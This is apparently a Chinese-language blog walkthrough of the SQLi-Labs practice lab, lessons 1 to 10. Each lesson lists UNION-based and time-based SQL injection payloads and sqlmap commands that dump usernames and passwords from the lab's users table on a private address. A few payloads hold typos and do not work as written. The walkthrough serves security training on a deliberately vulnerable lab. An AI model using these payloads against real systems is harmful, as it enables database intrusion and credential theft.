1. 程式人生 > 其它 >SQL注入 - SQLi-Labs靶場過關記錄

SQL注入 - SQLi-Labs靶場過關記錄

Less-1

1、看報錯型別,確定注入點    

?id=1' order by 4--++

2、確定資料庫    

?id=-1' union select 1,2,3--++

3、檢視資料庫    

?id=-1' union select 1,2,database();--++ 

4、檢視資料庫中的表    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++

5、提取security資料庫中的

users表的資訊

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++

6、提取users表中的使用者名稱和密碼,注入完成

?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++ 

Less - 2

1、直接測試報錯

?id=1 order by 4--++

2、查詢當前資料庫名

?id=-1 union
select 1,2,database();--++

3、檢視當前資料庫所有表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--++

4、檢視users表的結構資訊

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++

5、查詢users

表中的使用者名稱和密碼

?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++

Less - 3

1、測試報錯,檢視注入點

?id=1") order by 4--++

2、檢視當前使用者、資料庫版本、當前資料庫

?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database());--++

3、檢視security庫中的表

?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--++

4、檢視users表的結構

?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users';--++

5、檢視users表中的usernamepassword,完成注入

?id=1') union select 1,2,group_concat(username,"+",password) from security.users;--++

Less - 4

1、測試報錯,查詢注入點

?id=1") order by 4--++

2、檢視當前使用者、資料庫版本、當前資料庫

?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database());--++

3、檢視security庫中的表

?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security';--++

4、檢視users表的結構,語句與上一關差不多

5、檢視users表中的usernamepassword,完成注入

Less - 5

1、測試報錯

?id=1' order by 3--+

不報錯,但無回顯

?id=1' order by 4--+

報錯,確定存在注入點

?id=1' union select 1,2,3--+

無資料回顯,可能需要盲注

2、sqlmap跑一下,測試報錯注入

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"

3、查詢所有資料庫

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3

4、查詢當前資料庫

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3

5、查詢當前資料庫下的表

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3

6、發現有一個名為users的表,查詢users的所有欄位名

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3

7、發現usernamepassword欄位,查詢這兩個欄位

sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3

Less - 6

1、測試報錯

http://192.168.40.128:86/Less-6/?id=1" order by 3--+

沒有報錯,但是也沒有資料回顯

http://192.168.40.128:86/Less-6/?id=1" order by 4--+  

報錯,確定存在注入點

2、查詢無回顯,需要盲注

http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+

 

3、使用sqlmap測試注入點

sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3

4、使用sqlmap盲注查詢所有資料庫

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs

5、sqlmap查詢當前資料庫

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3

6、sqlmap查詢當前資料庫security下的所有表

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3

7、發現存在users表,查詢該表中的所有欄位

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3

8、發現usernamepassword欄位,查詢這兩個欄位的內容

sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3

Less - 7

1、測試報錯

 

http://192.168.40.128:86/Less-7/?id=1')) order by 4--+

 

2、sqlmap測試報錯注入點

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3

3、sqlmap查詢當前資料庫

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3

4、sqlmap查詢當前資料庫下的所有表

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3

5、發現存在users表,查詢該表下所有欄位名

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3

6、發現欄位usernamepassword,查詢內容

sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3

Less - 8

1、測試報錯

2、直接sqlmap跑注入點

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3

3sqlmap查詢當前使用者

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3

4sqlmap查詢所有資料庫

5、查詢當前資料庫

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3

6、查詢當前資料庫下的所有表

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3

7、發現users表,查詢表中所有欄位

sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3

Less - 9

1、測試單雙引號和字元均無報錯,直接sqlmap測試

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3

2、查詢所有資料庫

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3

3、查詢當前資料庫與使用者名稱

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3

4、查詢當前資料庫下的所有表

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3

5、發現users表,查詢欄位

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3

6、發現usernamepassword欄位,查詢內容

sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3

Less - 10

1、使用sqlmap進行延時注入,level設定為3,可以測試雙字元,執行緒設定為10

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9
Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq

2、sqlmap測試當前資料庫

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db

當前資料庫名:security

3、sqlmap測試當前資料庫下的表名

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3

當前資料庫security下存在的表:emails、referes、uagents、users

4、直接爆資料

sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3